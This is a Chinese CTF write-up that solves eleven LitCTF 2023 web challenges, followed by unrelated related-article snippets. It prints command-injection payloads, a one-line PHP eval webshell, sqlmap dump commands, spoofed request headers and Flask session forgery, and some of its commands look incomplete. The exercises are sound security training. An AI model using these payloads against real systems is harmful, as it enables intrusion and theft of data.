[LitCTF 2023] Web类题目分享

news2024/11/28 4:53:27

[LitCTF 2023] Web类题目做法及思路解析(个人分享)

题目平台地址:NSSCTF | 在线CTF平台 


一、[LitCTF 2023]我Flag呢?

奇怪,放哪里了,怎么看不见呢?(初级难度)

1.访问页面进行信息收集,发现该页面按钮都点击不了,直接查看网页源代码得到flag

NSSCTF{7fc9905b-d9f5-4b5a-bca3-5f06be151235}


二、[LitCTF 2023]PHP是世界上最好的语言!!

探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)

1.根据题目提示,该网页是基于PHP语言编写的。访问网页进行信息收集,发现该网页可以根据右边文本框内输入的内容进行URL、Base64、JSON编码格式的加密和解密

2.同时下方有一个“RUN CODE”的按钮,在文本框输入内容点击此按钮后会发现右侧显示框内会出现语法错误的报错内容

3.根据题目提示,猜测可以执行PHP代码,输入 printf('123'); 进行测试(注意需要结束符 ; ),发现可以正常执行代码

使用命令查看flag(没有命令过滤可以直接执行命令),根据题目提示flag在根目录

system('ls');

system('ls /');

system('cat /flag');

NSSCTF{7f757021-ea75-4a96-937e-357c7ac2f283}


三、[LitCTF 2023]导弹迷踪

你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~)

1.打开题目发现是一道网页游戏题,基本网页游戏题中的flag都在js文件中,直接F12打开检查页面,点击调试器,对js文件进行分析

2.直接对js文件内进行搜索flag或ctf,没有发现flag。根据js文件的命名直接对main.js内的代码进行分析,分析后发现main.js发现多次调用了game.js文件内定义的函数,且MG.game.init()用于游戏逻辑的定义

3.分析game.js内的编码,发现判断游戏结束时返回的信息内存在flag,且因为对flag进行了过滤无法直接搜索

NSSCTF{y0u_w1n_th1s_!!!}


四、[LitCTF 2023]Follow me and hack me

跟我来~

1.打开网页直接发现提示,且提交按钮没有什么实际用处

2.打开HackBar工具加载URL,根据提示通过GET方式向CTF参数内传递Lit2023,通过POST方式向Challenge参数内传递i'm_c0m1ng,得到flag

NSSCTF{caba678a-5e88-4abc-bc19-1d205dc60a29}


五、[LitCTF 2023]Ping

看看能PING出什么

1.打开网页根据提示,向输入框内输入 “127.0.0.1” 点击 “PING” 按钮进行尝试,发现回显出成功ping通的信息

2.尝试进行命令拼接,执行系统命令多次尝试后发现无法执行其他命令,查看网页源代码,发现做了前端过滤

3.打开HackBar工具加载URL,发现地址是靠command参数进行传递的,直接在该参数后拼接语句,尝试执行系统命令,发现成功执行命令

4.继续执行命令查看flag,执行查看flag文件命令时,发现没有直接回显,通过查看源代码得到flag

command=127.0.0.1|ls&ping=Ping

command=127.0.0.1|ls /&ping=Ping

command=127.0.0.1|cat /&ping=Ping

NSSCTF{710192be-6f1f-46c2-8585-269ae4af183b}


六、[LitCTF 2023]1zjs

js....?不确定,再看看。

1.访问网页,发现又是一到游戏题,依旧是查看js文件,通过分析index.umd.js发现提示/f@k3f1ag.php

2.访问/f@k3f1ag.php,得到了一大串JSFuck编码,尝试进行解密,解密后得到flag,但要将其中 “[]” 删除掉

NSSCTF{77b8200d-519e-4bab-be75-948f4466f70a}


七、[LitCTF 2023]作业管理系统

交作业!!但是哪里不对?

1.进入网页,发现需要登录,尝试使用万能密码登录,显示登录失败。进行信息收集,查看网页源代码发现默认账户admin/admin,登录成功进入作业管理系统

2.进入系统后发现可以上传文件,尝试编辑一句话木马并上传木马文件

<?php @eval($_POST['cmd']);?>

3.访问muma.php文件,打开HackBar工具加载URL,尝试进行POST传参,通过cmd参数传递参数来执行系统命令,得到flag

cmd=system('ls');

cmd=system('ls /');

cmd=system('ls /flag');

NSSCTF{8507cacc-8e1f-473c-9e5a-660ef7a2b524}


八、[LitCTF 2023]Http pro max plus

怎么还有一层.....

1.访问网页,发现提示“只允许本地访问”

2.打开HackBar工具加载URL,点击“Add Header”添加请求头,传入X-Forwarded-For: 127.0.0.1,继续访问,发现XFF不行。重新传入Client-IP: 127.0.0.1,发现成功回显下一个提示信息

X-Forwarded-For(XFF)是用来识别通过HTTP代理和负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

Client-IP是另一个用于传递客户端IP地址的HTTP请求头字段,但并不如X-Forwarded-For常用。这个字段只包含一个IP地址,即请求的客户端IP地址。

3.新提示你不是pornhub.com,猜测需要从pornhub.com网页跳转到该页面,继续点击“Add Header”添加请求头,传入referer: pornhub.com,成功回显新的提示信息

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

4.新提示用Chrome浏览器,猜测需要更改User-Agent,继续点击“Add Header”添加请求头,传入User-Agent: Chrome(最开始以为需要谷歌的浏览器标识,多次尝试后无法成功回显,最后发现只需要传入Chrome即可),成功回显新的提示信息

User Agent(用户代理,简称 UA),是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览渲染引擎、浏览器语言、浏览器插件等。

5.新提示需要开启代理,代理地址是Clash.win,继续点击“Add Header”添加请求头,传入Via: Clash.win,成功回显新的提示信息,得到/wtfwtfwtfwtf.php

Via是一个可选的HTTP请求头字段,其中包含了代理服务器的相关信息。当请求经过一个或多个代理服务器时,每个代理服务器都会向Via字段添加自己的标识。这样做的目的是提供有关请求路径的信息,以便于调试、故障排查和确定请求的来源。

6.访问 /wtfwtfwtfwtf.php 页面,没有发现什么有用信息,查看网页源代码,得到 /sejishikong.php

7.访问 /sejishikong.php ,直接得到flag

NSSCTF{1960ecf3-f444-4da2-9668-1742b859e55d}


九、[LitCTF 2023]Vim yyds

漏...漏了!

1.访问页面进行信息收集,发现页面及源代码没有什么有用信息,使用dirsearch工具对URL进行扫描,发现.index.php.swp文件

dirsearch -u 目标URL

        -u        指定目标URL

2.访问.index.php.swp文件,并成功下载该文件,将文件移动到Linux系统的机器当中,使用命令将文件复原,得到index.php文件的源码

swp后缀的文件是交换分区文件,是在使用vi或者vim编辑一个文件时产生的,当编辑完成正常退出时,该文件就会自动删除;swp文件是隐藏文件,在目录下使用“ls -la”才能查看。

vim -r 文件名

        -r        恢复上次异常退出的文件

3.分析inde.php网页的源码,发现网页存在命令执行漏洞,当传入的password参数的值全等于
"Give_Me_Your_Flag"base64加密后的值时,可以通过cmd参数进行命令执行。打开HackBar加载URL尝试使用POST传参传递参数进行命令执行,成功回显

4.通过命令执行漏洞进行命令执行,得到flag

cmd=ls

cmd=ls /

cmd=cat /flag

NSSCTF{cfad66d8-dbee-4dc5-be5a-841c643f70da}


十、[LitCTF 2023]这是什么?SQL !注一下 !

为了安全起见多带了几个套罢了o(*▽*)q

1.根据网页与题目提示发现该题目为SQL注入题目,且在输入“1”,点击按钮提交后发现通过id参数以GET传参的方式进行查询

2.直接使用sqlmap工具进行检测,发现可以扫描出漏洞,漏洞为时间盲注

sqlmap -u 目标URL

        -u                指定一个URL作为目标(注意GET传参时URL需要带查询参数)

        --data          指定POST传参的查询参数

        --batch        以非交互模式运行,所有要求的输入都会取默认值。

        --dbs           列举数据库管理系统中所有数据库。

        --tables        列举指定数据库中的所有数据表

        --columns    列举指定数据表中的所有列

        -D                指定数据库

        -T                指定数据表

        -C                指定列

        --dump        列举表中的数据

3.继续使用sqlmap工具进行检测查询,得到flag

sqlmap -u "目标URL" --dbs

sqlmap -u "目标URL" -D ctftraining --tables

sqlmap -u "目标URL" -D ctftraining -T flag --columns

sqlmap -u "目标URL" -D ctftraining -T flag -C flag --dump

NSSCTF{b1238dbf-a7e6-4287-858e-0bc8e1c1e140}


十一、[LitCTF 2023]Flag点击就送!

大型Flag赠送活动开始啦,不过只有管理员才能拿到

1.访问网站,发现输入框,输入一个值,回显出信息并出现一个“拿flag”按钮,点击按钮提示只有管理员才能拿flag

2.重新回到输入界面在输入框中输入amdin,进行尝试,提示不是管理员

3.进行信息收集,发现Web框架为flask以及其cookie内的session值

flask是一个轻量级的Python Web框架,它具有简单、灵活、易扩展等特点。

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。

4.想到通过伪造session来进行绕过,首先对已有session值进行解码(可能因为有乱码的原因有些工具无法正常解码,可以使用Base64 在线编码解码 | Base64 加密解密 - Base64.us ),发现{"name"."1"}

 session伪造攻击是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿用户的SESSION ID,伪装成其他用户,然后进一步进行SESSION劫持攻击。

5.使用python脚本伪造session,这里猜测key为LitCTF(大佬猜的,这个属实有点考验脑洞),解码进行验证,验证成功后再将 ‘{"name":"admin"}’ 加密伪造session值

python脚本地址:https://codeload.github.com/noraj/flask-session-cookie-manager/zip/refs/heads/master

python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'

python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'

6.将伪造的session值传入cookie内再次访问 /flag 网页,拿到flag

NSSCTF{afb9d19e-36a7-402a-9016-7bfb07763222}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1399337.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虚幻UE 材质-进阶边界混合之运行时虚拟纹理

之前在学习空山新雨后时对于边缘虚化过渡处理有很多技术 今天又要介绍一个边缘过渡的方法&#xff1a;运行时虚拟纹理 文章目录 前言一、运行时虚拟纹理二、使用步骤总结 前言 边缘过渡柔和的方式我们之前介绍了很多&#xff0c;但是效果也不是最好的。 像素偏移PDO和我们今天…

git22端口超时

笔记本换了个主板后&#xff0c;将内容用git上传到GitHub时发现22端口超时。 以为是网络啥的原因&#xff0c;但是用ssh -T gitgithub.com进行多次测试&#xff0c;发现不是网络问题。按照网上操作&#xff0c;在.ssh文件夹内将config文件进行修改&#xff0c;改成&#xff1a;…

【lettuce-排行榜】

背景&#xff1a; 这次游戏中台采用lettuce的zset完成游戏内的本服和跨服排行榜&#xff0c;因此写一下案例。 pom.xml <dependency><groupId>io.lettuce</groupId><artifactId>lettuce-core</artifactId><version>6.2.4.RELEASE</ve…

MacBookPro怎么数据恢复? mac电脑数据恢复?

使用电脑的用户都知道&#xff0c;被删除的文件一般都会经过回收站&#xff0c;想要恢复它直接点击“还原”就可以恢复到原始位置。mac电脑同理也是这样&#xff0c;但是“回收站”在mac电脑显示为“废纸篓”。 如果电脑回收站&#xff0c;或者是废纸篓里面的数据被清空了&…

微信小程序(八)图片的设定

注释很详细&#xff0c;直接上代码 新增内容&#xff1a; 1.图片的三种常见缩放形式 2.图片全屏预览 源码&#xff1a; testImg.wxml <!-- 默认状态&#xff0c;不保证缩放比&#xff0c;完全拉伸填满容器 --> <image class"pic" mode"scaleToFill&qu…

六、MySQL---综合练习题(单表、多表、分组函数以及等级查询)

六、MySQL---综合练习题&#xff08;单表、多表、分组函数以及等级查询&#xff09; 1.素材简介2.创建dept表3.创建emp表4.创建salgrade表解答&#xff1a;一、单表查询二、多表查询三、分组函数查询四、等级查询 1.素材简介 数据库&#xff1a;dept_emp 1.dept表&#xff1a;…

推荐系统|2.1 协同过滤与矩阵分解简介 2.2 协同过滤

文章目录 显式特征和隐式特征协同过滤基于用户的协同过滤基于商品的协同过滤 显式特征和隐式特征 可以类比感性认识和理性认识。 显式特征是指可以直接获取&#xff0c;并且可以用作判断的依据。 而隐式特征是指需要进一步加工分析提炼&#xff0c;才能作为判断的依据。 比如说…

2024-01-16(SpringCloudMybati)

1.前后端分离&#xff1a;前后端分离开发的理解以及和前后端不分离的区别_前后端交互和前后端分离的区别-CSDN博客 2.resultMap是用于sql语句得到的结果集与实体类之间进行关系映射的。 要求&#xff1a;结果集中的列名和实体类的中属性名要一一对应&#xff0c;并且个数保持…

Java 内存模型深度解析

优质博文&#xff1a;IT-BLOG-CN 一、并发编程模型的两个关键问题 【1】并发中常见的两个问题&#xff1a;线程之间如何通信及线程之间如何同步。通信是指线程之间以何种机制来交换信息。在命令式编程中&#xff0c;线程之间的通信机制有两种&#xff1a;内存共享和消息传递&…

[晓理紫]每日论文分享(有中文摘要,源码或项目地址)--大模型、扩散模型、视觉导航

专属领域论文订阅 关注{晓理紫}&#xff0c;每日更新论文&#xff0c;如感兴趣&#xff0c;请转发给有需要的同学&#xff0c;谢谢支持 关注留下邮箱可每日定时收到论文更新服务 分类: 大语言模型LLM视觉模型VLM扩散模型视觉导航具身智能&#xff0c;机器人强化学习开放词汇&a…

大创项目推荐 深度学习验证码识别 - 机器视觉 python opencv

文章目录 0 前言1 项目简介2 验证码识别步骤2.1 灰度处理&二值化2.2 去除边框2.3 图像降噪2.4 字符切割2.5 识别 3 基于tensorflow的验证码识别3.1 数据集3.2 基于tf的神经网络训练代码 4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x…

数据结构Java版(2)——栈Stack

一、概念 栈也是一种线性数据结构&#xff0c;最主要的特点是入栈顺序和出栈顺序是相反的&#xff0c;操作时只能从栈顶进行操作&#xff0c;在Java中给我们提供了一个泛型栈——Stack&#xff0c;其中最常用的方法有&#xff1a; void push(E):进栈E pop():退栈E peek():查看…

SpringBoot解决Slow HTTP慢速攻击漏洞

项目场景&#xff1a; 扫描到的漏洞截图&#xff1a; 攻击原理&#xff1a; Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部&#xff0c;因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点&#xff0c;发起一个HTTP请求&#xff0c;一直不停的发送…

Divisibility Problem-codefordes

题目链接&#xff1a;Problem - A - Codeforces 解题思路&#xff1a; 如果 a 能被 b整除&#xff0c;就不需要进行改变&#xff0c;直接输出0&#xff0c;否则输出((a / b) 1) * b - a&#xff0c;找到最小的能被b整除的数。 下面是c代码&#xff1a; #include<iostrea…

数组、数组的删除添加、函数、返回值、匿名函数、回调函数

一、数组 概念&#xff1a;将多个元素按一定顺序排列放在一个集合中 创建数组&#xff08;两种&#xff09;&#xff1a; 字面量创建 构造函数创建 数组的长度&#xff08;length&#xff09;、类型 空数组 长度为0数组是object 引用类型 如何获取数组中单个元素 索引&…

【Linux】03 GCC编译器的使用

一、编译过程 在使用gcc编译程序时&#xff0c;编译过程可以简要划分为4个阶段&#xff1a; 预处理、编译、汇编、链接 1.1 预处理&#xff08;preprocessing&#xff09; 这个阶段主要处理源文件中的#indef、#include和#define预处理命令&#xff1b; 这里主要是把一些include…

c JPEG 1D DCT 优化二(AAN)

这两个图可能就是AAN 的数学模型 优化DCT就是用代码实现矩阵9,10 9和10已经把64个系数缩小到一半32个了。光从这两图可看出&#xff0c;优化后乘法少了64-32436个&#xff0c;加法少了64-32-824。估计优化时间可少百分之40左右。o[0]的4个cos系数都是1&#xff0c;可省4个乘法…

RS-485通讯

RS-485通讯协议简介 与CAN类似&#xff0c;RS-485是一种工业控制环境中常用的通讯协议&#xff0c;它具有抗干扰能力强、传输距离远的特点。RS-485通讯协议由RS-232协议改进而来&#xff0c;协议层不变&#xff0c;只是改进了物理层&#xff0c;因而保留了串口通讯协议应用简单…

预约上门按摩app开发需要具备哪些材料

开发上门按摩预约系统的功能模块&#xff0c;包括用户端、技师端和管理后台。 设计阶段&#xff1a;根据需求分析结果&#xff0c;进行界面设计和数据库设计&#xff0c;并编写相应的技术文档。 开发阶段&#xff1a;根据设计文档&#xff0c;进行上门按摩预约系统的开发工作&a…

spring boot shardingsphere mybatis-plus druid mysql 搭建mysql数据库读写分离架构

spring boot shardingsphere mybatis-plus druid mysql 搭建mysql数据库读写分离架构 ##关于window mysql主从搭建简单教程 传送门 window mysql5.7 搭建主从同步环境-CSDN博客 ##父pom.xml <?xml version"1.0" encoding"UTF-8"?> <project…